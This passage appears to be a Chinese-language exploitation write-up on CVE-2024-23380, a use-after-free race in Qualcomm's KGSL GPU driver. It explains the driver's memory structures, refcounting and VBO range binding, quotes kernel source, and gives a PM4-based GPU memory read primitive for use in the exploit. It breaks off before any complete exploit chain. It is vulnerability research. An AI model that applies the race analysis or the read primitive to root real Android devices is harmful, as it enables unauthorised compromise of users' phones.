Skip to content

CVE-2024-23380:GPU KGSL驱动漏洞利用笔记

背景

2024年8月,Google的Android Red Team团队披露了一个高通GPU驱动的UAF漏洞CVE-2024-23380,借助这个漏洞,攻击者可以从普通APP的权限提升到系统root。接下来本文对该漏洞的成因、利用过程进行详细分析。这个漏洞没有公开的exploit,这里将会分享如何利用这个漏洞的历程。从最低权限提升到root,并且绕过selinux等。

安卓提权,AOSP的漏洞已经非常难挖掘。2025年六月份,开源部分AOSP没有任何新的漏洞报告。虽然可能是google漏洞赏金和公布节奏的调整,但是这些调整也体现出一个趋势,AOSP漏洞挖掘的收益越来越低。 这代表安卓平台越来越安全吗?

aosp_security

普通APP,是untrustapp_app ,比adb shell权限还要低。基本无法访问任何有价值的资源。 即使诱导用户安装之后,没有任何实际的权限。 攻击链通常需要先利用 Android 应用层/框架层漏洞,将权限提升至system(或拿到等价能力),再进一步触达厂商/平台侧暴露的驱动接口,最后尝试利用内核/驱动漏洞完成提权到 root。这一过程往往依赖多阶段、可组合漏洞:既可能涉及 OEM 定制组件(ROM/系统服务/厂商应用),也可能涉及 SoC Vendor 提供的驱动与固件实现。由于不同 OEM 的定制差异与不同平台(高通/联发科)驱动栈差异,漏洞组合的可迁移性较弱,难以形成通用攻击链。从安全研究者的角度看,这类链路需要跨组件、跨厂商长期投入,但可复用成果有限,因此投入产出比偏低。

android_security_arch

GPU 驱动在 Android 中通过标准图形栈对上层开放(如 /dev/kgsl、/dev/mali 及gralloc/ION/DMABUF)。为保证任意应用具备渲染与加速能力,这类设备节点通常对普通应用可直接访问:无需额外权限即可打开设备、提交 ioctl、分配/映射缓冲区,不会被SELinux阻拦。与此同时,GPU 驱动需要实现较为独立且复杂的内存分配与映射逻辑,接口与状态机越复杂,缺陷暴露的概率就越高。

这也导致了GPU成为安卓安全生态中最为脆弱的一环,在过去一两年的安卓在野漏洞利用中,攻击者无一例外地瞄准了GPU驱动,借助GPU的驱动漏洞实现从普通APP到root的权限提升。

news

KGSL 内存模型

对于 GPU 驱动漏洞研究来说,我们需要关注的一个关键特性是 GPU 和 CPU 共用同一块 RAM

因此,系统里会同时存在两套“虚拟地址 → 物理地址”的映射机制:

  • CPU 侧:由操作系统维护 CPU MMU 页表,实现进程虚拟地址到物理页的映射。

  • GPU 侧:GPU 也有自己的 MMU/IOMMU(ARM 平台常见为 SMMU)。GPU 使用的页表由内核中的 GPU 驱动(KGSL) 负责创建与维护,用来限制 GPU可访问的物理内存范围。以 KGSL 为例,内核会用 kgsl_mem_entry / kgsl_memdesc等结构体描述与管理这类内存对象及其映射关系。

两者的“地址”并不相同:应用里看到的地址 ≠ GPU 侧看到的地址,只是最终翻译到相同物理页。这种“双地址空间共享同一物理页”的机制,是很多 KGSL映射类漏洞的根本背景。

GPU_MMU

共享内存的典型使用流程

实际业务里,CPU 会先分配一段物理内存,再将其映射给 GPU 使用:GPU从共享内存中读取数据完成计算/渲染,并将结果写回同一块共享内存,从而实现 CPU↔ GPU(以及不同 GPU 任务之间)的数据交换。这也是 GPU 驱动安全研究的重要攻击面:驱动必须维护 GPU 页表与映射生命周期(分配、映射、解除映射、释放、权限控制等),流程复杂且涉及多个内核模块协作;历史上已经多次出现因映射/页表管理失误导致的漏洞。

GPU_MMU_vuln

CPU 虚拟内存 vs GPU 虚拟内存

传统 CPU 使用虚拟内存:不同进程的地址空间相互隔离,页表保存虚拟地址到物理页的映射关系。GPU 的内存管理在思想上非常类似:不同 GPU 上下文(context)也运行在相互隔离的 GPU 虚拟地址空间中;KGSL驱动负责维护每个 context 对应的 GPU 页表,并管理 GPU内存的申请、释放,以及与 CPU 的共享映射逻辑。以 KGSL 为例:用户态如何建立共享映射在高通 Adreno 平台上,用户态应用通过 ioctl 与 KGSL内核驱动交互,从而完成“分配共享内存 → 映射到 GPU →映射到用户态”的流程。典型步骤如下:

  1. 申请 GPU 可用内存:应用调用(例如)IOCTL_KGSL_GPUMEM_ALLOC请求分配;内核创建并维护一个内存对象(可理解为“一块物理内存 +元数据”),对应结构体常见为 kgsl_mem_entry,具体定义可参考源代码

  2. 映射到 GPU 虚拟地址空间:驱动为特定 GPU context 选择一个 GPU 虚拟地址,并在GPU 页表中建立映射,配置设备侧 IOMMU/SMMU。

  3. 映射到用户态地址空间:应用再通过 mmap等方式,把同一块物理页面映射进自己的进程虚拟地址空间,用 CPU 指针读写数据。

gpu_ioctl

高通GPU内存管理

下面具体来讲一讲高通 Adreno平台的内存管理结构, Adreno的 KGSL 驱动会把一次 GPU 内存分配抽象成一个“内存对象”,并用两层构体来描述它:kgsl_mem_entry(对象层) + kgsl_memdesc(描述层)。这两者配合,记录从“用户态申请”到“GPU页表映射”再到“释放回收”的完整生命周期。

如下图展示了 KGSL 内存对象与映射关系的整体位置:

kgsl_mem

关键结构体:kgsl_mem_entry kgsl_memdesc

1) **kgsl_mem_entry****:GPU 内存对象(高层表示)

kgsl_mem_entry 可以理解为一次 GPU 内存分配在内核侧的“对象”:

  • 每个分配请求都会创建一个 kgsl_mem_entry 实例

  • 负责跟踪对象的生命周期(分配/映射/共享/释放)

  • 提供用户态交互所需的对象标识(例如后续 mmap 需要的 id)

其中几个与研究更相关的字段:

  • refcount:对象引用计数(kref_init / kref_get / kref_put)

  • id:内存对象的全局唯一标识符(通常由 idr_alloc分配),用户态与驱动交互、以及后续 mmap/查找对象会依赖它

  • metadata:用户态可控元数据(调试标签/标记),在漏洞分析中经常是关键线索或影响面

c
struct kgsl_mem_entry {
        struct kref refcount; //计数器
        struct kgsl_memdesc memdesc; //包含kgsl_memdesc结构
        void *priv_data;
        struct rb_node node;
        unsigned int id; // 用户态交互用的 obj_id
        struct kgsl_process_private *priv;
        int pending_free;
        char metadata[KGSL_GPUOBJ_ALLOC_METADATA_MAX + 1]; //用户可控的元数据 
        struct work_struct work;
        atomic_t map_count;
};

其中refcount值得重点关注:

kgsl_mem_entrykref 做引用计数:

  • kref_init:初始化

  • kref_get:增加引用

  • kref_put:减少引用并在归零时触发释放

一个正常的场景:

  • 用户态应用(EL0)通过 /dev/kgsl-### 分配内存时,KGSL(EL1)创建 kgsl_mem_entry,并设置

    refcount = 1

  • 若存在共享(例如跨进程共享纹理/缓冲),会额外持有引用,使 refcount 递增,避免对象被提前释放

它的重要性在于:只要 refcount > 0,内核就不能“强制释放”这块内存对象。 因此引用计数相关的错误通常意味着两类风险:

  • 过早释放(refcount 错误清零):对象还被别处持有/使用,却被释放 → 极易形成 UAF (Use-After-Free)
  • 无法释放(refcount 泄漏):引用没减回来 → 内存泄漏、资源耗尽(DoS 向)

2) kgsl_memdesc:内存描述符(底层表示)

kgsl_memdesc 是更贴近硬件与页表的那一层,重点包含:

  • 实际的物理页/sg_table信息

  • GPU 虚拟地址(gpuaddr)物理地址(physaddr) 的关联

  • 内存类型、缓存属性、映射属性等影响硬件访问行为的字段

  • 与 GPU 页表(pagetable)的绑定关系

c
struct kgsl_memdesc {
struct kgsl_pagetable *pagetable;
void *hostptr;
unsigned int hostptr_count;
uint64_t gpuaddr;
phys_addr_t physaddr;
uint64_t size;
unsigned int priv;
struct sg_table *sgt;
const struct kgsl_memdesc_ops *ops;
uint64_t flags;
struct device *dev;
unsigned long attrs;
struct page **pages;
unsigned int page_count;

spinlock_t lock;
struct file *shmem_filp;
struct rb_root_cached ranges;
struct mutex ranges_lock;
u32 gmuaddr;
};

kgsl_memdesc的关键字段

  • pagetable

    • 指向 GPU 页表结构:定义该对象属于哪个 GPU context/地址空间
    • 本质上用于支撑:GPU VA(gpuaddr) → 物理页(pages/physaddr) 的映射
  • gpuaddr

    • GPU 可见的虚拟地址(GPU VA)

    • 由 KGSL 的映射管理逻辑分配(不是用户态指针)

  • pages / page_count / sgt / physaddr:对象由哪些物理页组成(适用于非连续物理内存)

  • sgt:scatter-gather 表,用于描述离散物理页集合(DMA/IOMMU 映射常用)

  • physaddr:有时会保存基址(更常见于连续分配或特定后端);分析时要注意它与 pages/sgt 谁才是“事实来源”

  • hostptr

  • 内核态虚拟地址映射(EL1),便于驱动在 CPU 上直接读写这块内存

  • 与用户态 mmap 的 CPU 视图相关:用户态通过进程虚拟地址访问,同一物理页可能在内核态也有映射

  • size / flags / attrs

  • size:大小(通常页对齐)

  • flags/attrs:缓存属性、访问权限、映射行为等

  • ops:定义了一些特定的功能或接口操作的方法,,ops 可以提供一定程度上的“多态性”,允许不同的内存描述符实现不同的操作集。例如,不同的内存管理策略或实现可能有不同的内存操作函数。

  • ranges: struct rb_root_cached ranges; 指向kgsl_memdes_bind_range(红黑树实现的),用于映射GPU虚拟地址空间(GPU VA)。

    • 用一个区间 [range.start, range.last] 表示 target 的某段 GPU VA
    • range->entry 指向“这段 VA 当前绑定到哪个 child kgsl_mem_entry

    ranges

kgsl底层逻辑分析

漏洞利用方面和kgsl内存分配有紧密的关系,所以有必要从代码层面分析一下。

关于内存引用计数使用了kgsl_mem_entry_get/put函数,就是对 kgsl_mem_entry引用计数(kref) 做增减,用来控制对象生命周期:谁在用这个 entry,谁就要 “get”;不用了就 “put”。当最后一次 put 把计数减到 0,才会触发真正销毁。

  • kgsl_mem_entry_get(entry) :增加引用计数 +1,确保对象不会在你使用期间被释放。

  • kgsl_mem_entry_put(entry) 是干啥的?语义:减少引用计数 -1;如果引用计数变为0,会调用 kgsl_mem_entry_destroy 函数来处理相关资源的释放。

kgsl_ioctl初始化kgsl代码,创建kgsl_mem_entry和kgsl_memdesc,快速过一下熟悉一下。

c
long kgsl_ioctl(struct file *filep, unsigned int cmd, unsigned long arg)
{
	struct kgsl_device_private *dev_priv = filep->private_data;
	struct kgsl_device *device = dev_priv->device;
	long ret;
	ret = kgsl_ioctl_helper(filep, cmd, arg, kgsl_ioctl_funcs,
		ARRAY_SIZE(kgsl_ioctl_funcs));
	/*
	 * If the command was unrecognized in the generic core, try the device
	 * specific function
	 */
	if (ret == -ENOIOCTLCMD) {
		if (is_compat_task() && device->ftbl->compat_ioctl != NULL)
			return device->ftbl->compat_ioctl(dev_priv, cmd, arg);
		else if (device->ftbl->ioctl != NULL)
			return device->ftbl->ioctl(dev_priv, cmd, arg);
		KGSL_DRV_INFO(device, "invalid ioctl code 0x%08X\n", cmd);
	}
	return ret;
}

支持的CMD

c
static const struct kgsl_ioctl kgsl_ioctl_funcs[] = {
	KGSL_IOCTL_FUNC(IOCTL_KGSL_DEVICE_GETPROPERTY,
			kgsl_ioctl_device_getproperty),
	/* IOCTL_KGSL_DEVICE_WAITTIMESTAMP is no longer supported */
	KGSL_IOCTL_FUNC(IOCTL_KGSL_DEVICE_WAITTIMESTAMP_CTXTID,
			kgsl_ioctl_device_waittimestamp_ctxtid),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_RINGBUFFER_ISSUEIBCMDS,
			kgsl_ioctl_rb_issueibcmds),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_SUBMIT_COMMANDS,
			kgsl_ioctl_submit_commands),
	/* IOCTL_KGSL_CMDSTREAM_READTIMESTAMP is no longer supported */
	KGSL_IOCTL_FUNC(IOCTL_KGSL_CMDSTREAM_READTIMESTAMP_CTXTID,
			kgsl_ioctl_cmdstream_readtimestamp_ctxtid),
	/* IOCTL_KGSL_CMDSTREAM_FREEMEMONTIMESTAMP is no longer supported */
	KGSL_IOCTL_FUNC(IOCTL_KGSL_CMDSTREAM_FREEMEMONTIMESTAMP_CTXTID,
			kgsl_ioctl_cmdstream_freememontimestamp_ctxtid),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_DRAWCTXT_CREATE,
			kgsl_ioctl_drawctxt_create),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_DRAWCTXT_DESTROY,
			kgsl_ioctl_drawctxt_destroy),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_MAP_USER_MEM,
			kgsl_ioctl_map_user_mem),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_SHAREDMEM_FROM_PMEM,
			kgsl_ioctl_map_user_mem),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_SHAREDMEM_FREE,
			kgsl_ioctl_sharedmem_free),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_SHAREDMEM_FLUSH_CACHE,
			kgsl_ioctl_sharedmem_flush_cache),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUMEM_ALLOC,
			kgsl_ioctl_gpumem_alloc),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_CFF_SYNCMEM,
			kgsl_ioctl_cff_syncmem),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_CFF_USER_EVENT,
			kgsl_ioctl_cff_user_event),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_TIMESTAMP_EVENT,
			kgsl_ioctl_timestamp_event),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_SETPROPERTY,
			kgsl_ioctl_device_setproperty),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUMEM_ALLOC_ID,
			kgsl_ioctl_gpumem_alloc_id),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUMEM_FREE_ID,
			kgsl_ioctl_gpumem_free_id),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUMEM_GET_INFO,
			kgsl_ioctl_gpumem_get_info),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUMEM_SYNC_CACHE,
			kgsl_ioctl_gpumem_sync_cache),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUMEM_SYNC_CACHE_BULK,
			kgsl_ioctl_gpumem_sync_cache_bulk),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_SYNCSOURCE_CREATE,
			kgsl_ioctl_syncsource_create),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_SYNCSOURCE_DESTROY,
			kgsl_ioctl_syncsource_destroy),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE,
			kgsl_ioctl_syncsource_create_fence),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_SYNCSOURCE_SIGNAL_FENCE,
			kgsl_ioctl_syncsource_signal_fence),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_CFF_SYNC_GPUOBJ,
			kgsl_ioctl_cff_sync_gpuobj),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUOBJ_ALLOC,
			kgsl_ioctl_gpuobj_alloc),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUOBJ_FREE,
			kgsl_ioctl_gpuobj_free),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUOBJ_INFO,
			kgsl_ioctl_gpuobj_info),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUOBJ_IMPORT,
			kgsl_ioctl_gpuobj_import),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUOBJ_SYNC,
			kgsl_ioctl_gpuobj_sync),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_GPU_COMMAND,
			kgsl_ioctl_gpu_command),
	KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUOBJ_SET_INFO,
			kgsl_ioctl_gpuobj_set_info),
};

执行kgsl_ioctl时选择对应的CMD:IOCTL_KGSL_GPUOBJ_ALLOC会触发gpuobj分配逻辑,执行 kgsl_ioctl_gpuobj_alloc。

c
long kgsl_ioctl_gpuobj_alloc(struct kgsl_device_private *dev_priv,
		unsigned int cmd, void *data)
{
	struct kgsl_gpuobj_alloc *param = data;
	struct kgsl_mem_entry *entry;

	entry = gpumem_alloc_entry(dev_priv, param->size, param->flags);

	if (IS_ERR(entry))
		return PTR_ERR(entry);

	copy_metadata(entry, param->metadata, param->metadata_len);

	param->size = entry->memdesc.size;
	param->flags = entry->memdesc.flags;
	param->mmapsize = kgsl_memdesc_footprint(&entry->memdesc);
	param->id = entry->id;

	/* Put the extra ref from kgsl_mem_entry_create() */
	kgsl_mem_entry_put(entry);

	return 0;
}

调用关系中 gpumem_alloc_entry->kgsl_mem_entry_create,使用kgsl_mem_entry_put对entry结构体进行引用计数,kref_init(&entry->refcount); // 将 refcount 初始化为 1,kref_get(&entry->refcount);// 将 refcoun 增加到2.

c
static struct kgsl_mem_entry *kgsl_mem_entry_create(void)
{
	struct kgsl_mem_entry *entry = kzalloc(sizeof(*entry), GFP_KERNEL);

	if (entry != NULL) {
		kref_init(&entry->refcount); // 将 refcount 初始化为 1
		/* put this ref in userspace memory alloc and map ioctls */
		kref_get(&entry->refcount);// 将 refcount 增加 1
		atomic_set(&entry->map_count, 0);
	}

	return entry;
}

CMD : IOCTL_KGSL_GPUOBJ_FREE

释放kgsl对象,需要满足两个条件

  • ioctl 是否会触发“立即释放/延迟释放”的路径**(由 flags/type 决定)

  • 走了 free 路径,对象是否真的会在此刻销毁由引用计数 kref 决定

c
long kgsl_ioctl_gpuobj_free(struct kgsl_device_private *dev_priv,
		unsigned int cmd, void *data)
{
	struct kgsl_gpuobj_free *param = data;
	struct kgsl_process_private *private = dev_priv->process_priv;
	struct kgsl_mem_entry *entry;
	long ret;

	entry = kgsl_sharedmem_find_id(private, param->id); //检查id是否属于该进程
	if (entry == NULL)
		return -EINVAL;

	/* If no event is specified then free immediately */
	if (!(param->flags & KGSL_GPUOBJ_FREE_ON_EVENT))
		ret = gpumem_free_entry(entry); //立即释放
	else if (param->type == KGSL_GPU_EVENT_TIMESTAMP)
		ret = gpuobj_free_on_timestamp(dev_priv, entry, param);
	else if (param->type == KGSL_GPU_EVENT_FENCE)
		ret = gpuobj_free_on_fence(dev_priv, entry, param);
	else
		ret = -EINVAL;

	kgsl_mem_entry_put(entry);
	return ret;
}

gpumem_free_entry是直接释放函数,调用kgsl_mem_entry_put。

c
long gpumem_free_entry(struct kgsl_mem_entry *entry)
{
	if (!kgsl_mem_entry_set_pend(entry))
		return -EBUSY;

	trace_kgsl_mem_free(entry);
	kgsl_memfree_add(pid_nr(entry->priv->pid),
			entry->memdesc.pagetable ?
				entry->memdesc.pagetable->name : 0,
			entry->memdesc.gpuaddr, entry->memdesc.size,
			entry->memdesc.flags);

	kgsl_mem_entry_put(entry);

	return 0;
}

kgsl_mem_entry_put计数器归零后自动回调kgsl_mem_entry_destroy销毁entry。

c
static inline void
kgsl_mem_entry_put(struct kgsl_mem_entry *entry)
{
	kref_put(&entry->refcount, kgsl_mem_entry_destroy);//回调函数
}
c
void
kgsl_mem_entry_destroy(struct kref *kref)
{
	struct kgsl_mem_entry *entry = container_of(kref,
						    struct kgsl_mem_entry,
						    refcount);
	unsigned int memtype;

	if (entry == NULL)
		return;

	/* pull out the memtype before the flags get cleared */
	memtype = kgsl_memdesc_usermem_type(&entry->memdesc);

	kgsl_process_sub_stats(entry->priv, memtype, entry->memdesc.size);

	/* Detach from process list */
	kgsl_mem_entry_detach_process(entry);

	if (memtype != KGSL_MEM_ENTRY_KERNEL)
		atomic_long_sub(entry->memdesc.size,
			&kgsl_driver.stats.mapped);

	kgsl_sharedmem_free(&entry->memdesc);

	kfree(entry);//释放entry
}

以上是entry分配和释放的基本逻辑。后面会涉及更复杂的分配和释放、映射等(例如kgsl_mmu_map_child、kgsl_memdesc_remove_range等),但是万变不离其宗。

GPU开发基础

大多数移动端 GPU 应用并不会直接面对 /dev/kgsl-*,而是通过 OpenGL ES / Vulkan 等标准 API 间接驱动 GPU;这些 API 在系统中会被各类中间层与用户态驱动封装,最终才落到 KGSL ioctl + GPU 命令提交 上。

但从攻击者视角,想要稳定利用 GPU 驱动漏洞,就必须理解两件事: 用户态如何通过 ioctl 与 KGSL 交互如何构造 GPU 命令,让 GPU 读写指定的 GPU 虚拟地址(gpu_addr)

好在 Google Project Zero 之前已经把 Adreno/KGSL 的大量“工程工作”整理成体系,强烈建议先阅读,:attacking-qualcomm-adreno-gpu,已经把这部分工作做好了。

本文后续重点关注:如何利用 KGSL 的命令提交接口构造“GPU 侧读原语”。在漏洞利用阶段,由于 vbo_entry 往往没有直接的 mmap 视图,我们需要让 GPU 自己把目标地址的数据搬运出来,再由CPU 侧读取。

Adreno 使用 PM4 命令流。我们在用户态构造命令缓冲区(command buffer),最终通过 KGSL 提交给 GPU 执行。cp_type7_packet 用于生成一个 Type-7 包头:

c
static inline uint32_t cp_type7_packet(uint32_t opcode, uint32_t cnt) {
return CP_TYPE7_PKT | ((cnt) << 0) |
(pm4_calc_odd_parity_bit(cnt) << 15) |
(((opcode) & 0x7F) << 16) |
((pm4_calc_odd_parity_bit(opcode) << 23));
}

直观理解:它把 opcode(命令类型)与 cnt(后续跟随多少个 dword 参数)编码成一个包头。后面我们用到的 CP_MEM_TO_MEMCP_MEM_WRITE 都是这种包

CP_MEM_TO_MEM

可以把数据从一个 GPU 地址复制到另一个 GPU 地址:

  • src:我们想读的目标地址(例如 vbo 的 gpuaddr

  • dst:我们自己控制的一块 GPU 内存(提前分配,且可以 mmap 到用户态)

GPU 执行后,目标地址的数据就会被复制到 dst 对应的共享内存页面里, CPU 侧通过 mmap 读取 dst,就等价于“读到了 src 的内容”。

下面的gpu_readall实现了内存顺序读写,会从 addr 开始,按 8 字节连续递增读取 count 个 8 字节值,并把结果写入 results

c
static const uint64_t gpu_readall(uint64_t addr, size_t count, void *results)
{
    assert(count <= 0x3000);
    const uint32_t magic = rand();

    size_t offset_scratch = 0x10;
    size_t offset_ret = offset_scratch + 0xd0000;
    size_t offset_value = offset_scratch + 0xd0000 + 8;
    uint32_t *cmds_start = (uint32_t *)(cmd_buffer + offset_scratch);
    uint32_t *cmds = cmds_start;
    for (size_t i = 0; i < count; i++) {
        *cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
        *cmds++ = 0;
        cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + i * 8);
       //cmds += cp_gpuaddr(cmds, addr + i*4 );
       cmds += cp_gpuaddr(cmds, addr + i*8 );

        *cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
        *cmds++ = 0;
        cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + i*8 + 4);
        //cmds += cp_gpuaddr(cmds, addr + i*4 + 4);
        cmds += cp_gpuaddr(cmds, addr + i*8 + 4);
    }

    *cmds++ = cp_type7_packet(CP_MEM_WRITE, 3);
    cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_ret);
    *cmds++ = magic;

    __clear_cache(cmds_start, cmds);
    usleep(10000);
    if (kgsl_gpu_command_n(fd, drawctxt_id, cmd_buffer_gpu_addr + offset_scratch, (uintptr_t)(cmds) - (uintptr_t)(cmds_start), 1) == -1) {
        printf("gread8: gpu command");
        getchar();
        return -1;
    }

    volatile uint32_t *p = (volatile uint32_t *)(cmd_buffer  + offset_ret);
    for (int i = 0; *p != magic; i++) {
        //printf("%d\n", *p);
        usleep(10000);
        // fprintf(stderr, "gread %#x...\n", *p);
        __clear_cache(cmd_buffer, cmd_buffer + 0x100000);
    }
    __clear_cache(cmd_buffer, cmd_buffer + 0x100000);
    memcpy(results, cmd_buffer + offset_value, 8 * count);
    return 0;
}

这段代码实现的“读原语”本质是:GPU 负责把目标地址搬运到我们可见的共享内存,CPU 再把结果拷出来。后续在扫描 metadata、定位 kgsl_mem_entry 等步骤里,这个能力会非常关键。

从条件竞争到UAF

2024年8月,Google的Android Red Team团队披露了一个高通GPU驱动的UAF漏洞CVE-2024-23380,借助这个漏洞,攻击者可以从普通APP的权限提升到系统root。接下来本文对该漏洞的成因、利用过程进行详细分析。并且在一些比赛中也有选手尝试利用这个漏洞对国产手机进行提权。

前面KGSL内存模型中已经分析过代码,IOCTL_KGSL_GPUOBJ_ALLOC主要有以下功能

  1. 分配请求的物理页
  2. 在GPU虚拟地址分配一个地 址范围(Range)
  3. 将分配的物理页面映射到 GPU虚拟地址范围
  4. 将物理地址mmap到用户空 间虚拟内存(可选)

在申请内存时候,flag变量也会导致entry的性质变化,如果KGSL_MEMFLAGS_USE_CPU_MAP则是我们正常使用的GPU变量,GPU虚拟地址和物理地址以及映射地址是一一对应的。

gpu_alloc

但是除了正常的GPU内存申请(KGSL_MEMFLAGS_USE_CPU_MAP)操作,IOCTL_KGSL_GPUOBJ_ALLOC还支持一个特殊的flag KGSL_MEMFLAGS_VBO。通过查阅驱动代码发现,带有这个特殊flag的GPU对象在申请时并没有申请对应的物理内存,而是以zero page进行占位填充。

IOCTL命令还是原来的IOCTL_KGSL_GPUMEM_ALLOC 或者IOCTL_KGSL_GPUOBJ_ALLOC 但是flag切换成VBOflag = KGSL_MEMFLAGS_VBO

gpu_alloc_vbo

使用IOCTL_KGSL_GPUMEM_BIND_RANGES,会调用kgsl_sharedmem_create_bind_op函数,通过不同的参数传递,例如可以选择kgsl_memdesc_add_range(KGSL_GPUMEM_RANGE_OP_BIND)或者kgsl_memdesc_remove_range

bind_vbo

如果选择add_range,则会将我们刚才申请的kgsl_vbo_entry与已经分配的其他GPU内存(虚拟+物理)绑定。

add_range 包含两部分逻辑,将mem_entry绑定到vbo_entry (虚拟地址),将物理地址绑定到vbo。此时kgsl_vbo_entry,可以直接读写ksgl_mem_entry_A和ksgl_mem_entry_B的物理地址。这里可以看到物理地址已经被分配给了两个内存管理的结构。 因此,开发者使用refcount 记录了每个entry被调用的情况,entry_A目前refcount=1,在remove range之前,此时ksgl_mem_entry_A和ksgl_mem_entry_B都是无法由用户释放的。

当然,暂时是没有什么问题的,因为ksgl_mem_entry_A是无法释放的。(安全)

vbo_add_range

如果选择kgsl_memdesc_remove_range,则是完全相反的操作。会先将kgsl_vbo_entry与物理地址映射解除,然后解除vbo_entry与entry_A/entry_B的映射关系,然后将vbo_entry重新指向Zero页。

c

static void kgsl_sharedmem_bind_worker(struct work_struct *work)
{
	struct kgsl_sharedmem_bind_op *op = container_of(work,
		struct kgsl_sharedmem_bind_op, work);
	int i;

	for (i = 0; i < op->nr_ops; i++) {
		if (op->ops[i].op == KGSL_GPUMEM_RANGE_OP_BIND)
			kgsl_memdesc_add_range(op->target,
				op->ops[i].start,
				op->ops[i].last,
				op->ops[i].entry,
				op->ops[i].child_offset);
		else
			kgsl_memdesc_remove_range(op->target,
				op->ops[i].start,
				op->ops[i].last,
				op->ops[i].entry);

		/* Release the reference on the child entry */
		kgsl_mem_entry_put(op->ops[i].entry);
		op->ops[i].entry = NULL;
	}

观察漏洞修复的PATCH信息,漏洞点就在其中的kgsl_memdesc_add_range,可以看到修复方式是将kgsl_mmu_map_child移动到了mutex_lock锁保护。所以关键在于kgsl_mmu_map_child这个函数,它没有在mutex锁里,缺乏针对条件竞争的保护。

漏洞修复的DIFF:https://git.codelinaro.org/clo/le/platform/vendor/qcom/opensource/graphics-kernel/-/commit/919306871384731b35cbfafb208bbd13bff08605

diff

所以,让我们梳理一下kgsl_memdesc_add_range和其中的kgsl_mmu_map_child函数做了什么,为什么如此关键。

kgsl_memdesc_add_range流程解析

参数:

  • traget:vbo_entry(当前指向zero page)

  • start、last:虚拟地址(GPU VA)区间范围

  • entry:一块已经分配物理地址的mem_entry

执行步骤:

  1. 首先bind_range_create(start, last, entry);根据入参范围的start和last,创建一个新的 range 节点。并且计数器+1。

    • 分配一个 kgsl_memdesc_bind_range

    • 写入 range.start/last

    • range->entry = entry

    • kgsl_mem_entry_get(entry)(kref +1)

c
static struct kgsl_memdesc_bind_range *bind_range_create(u64 start, u64 last,
		struct kgsl_mem_entry *entry)
{
	struct kgsl_memdesc_bind_range *range =
		kzalloc(sizeof(*range), GFP_KERNEL);

	if (!range)
		return ERR_PTR(-ENOMEM);

	range->range.start = start;
	range->range.last = last;
	range->entry = kgsl_mem_entry_get(entry);

	if (!range->entry) {
		kfree(range);
		return ERR_PTR(-EINVAL);
	}

	return range;
}
  1. 然后出于安全考虑,直接暴力解除这个range(映射GPU VA用)范围内的所有映射关系,使用 kgsl_mmu_unmap_range(pagetable, memdesc, start, len)target 的 pagetable 中 [start, start+len) 这段 GPU VA 的 PTE 清空 ,也就是取消了 GPU VA → PA 的映射。

  2. 然后循环索引当前range范围内的其他range结构,进行合并避免重复:next = interval_tree_iter_first(&memdesc->ranges, start, last); 如果存在旧的range,将对覆盖/替换掉的旧 range 节点所引用的 cur->entry** 做 put(ref count -- )。

  3. 执行interval_tree_insert(&range->range, &memdesc->ranges);把新创建的 range插入到 target->memdesc.ranges(vbo_entry)这棵区间树里。也就是将一开始bind_range_create(start, last, entry):的range 里记录了 [start,last] -> entry。。

  4. 解开异步锁mutex_unlock

  5. 执行kgsl_mmu_map_child(memdesc->pagetable, memdesc, start,&entry->memdesc, offset, last - start + 1)让页表里让 GPU VA [start,last] 指向了 entry的物理地址。

    • 地址空间memdesc->pagetable(target 所在的 GPU 页表 / SMMU 上下文)

    • GPU VA 区间:从 start 开始,长度 len = last-start+1

    • 物理来源:来自 entry->memdesc 的物理页集合(pages/sgt/shmem

    • 起始偏移:从 child 的 offset 开始取物理页

    • 因此绑定完成后,GPU 访问 [start, start+len) 这段 VA,IOMMU/SMMU 会翻译到 child entry 的物理页

总结下来核心两步骤,分别对应下面两个step

  • STEP1:通过range来实现让VBO与child entry建立形式上的链接关系(vbo->GPU VA)。

  • STEP2:通过修改页表来实现VBO与child entry的物理地址上的联系(vbo->PA)

step1step2

所以问题很明显就是step2没有互斥锁的保护,而这是一个映射物理地址到vbo的range中的关键步骤。一旦因为某种原因,原本的kgsl_mem_entry被释放了,但是step2仍然执行了,就会造成对一块空闲地址的控制,这很容易导致Use After Free。

kgsl_memdesc_add_range代码:

c
static int kgsl_memdesc_add_range(struct kgsl_mem_entry *target,
		u64 start, u64 last, struct kgsl_mem_entry *entry, u64 offset)
{
	struct  interval_tree_node *node, *next;
	struct kgsl_memdesc *memdesc = &target->memdesc;
	struct kgsl_memdesc_bind_range *range =
		bind_range_create(start, last, entry);//创建一个新的 range 节点。并且计数器+1

	if (IS_ERR(range))
		return PTR_ERR(range);

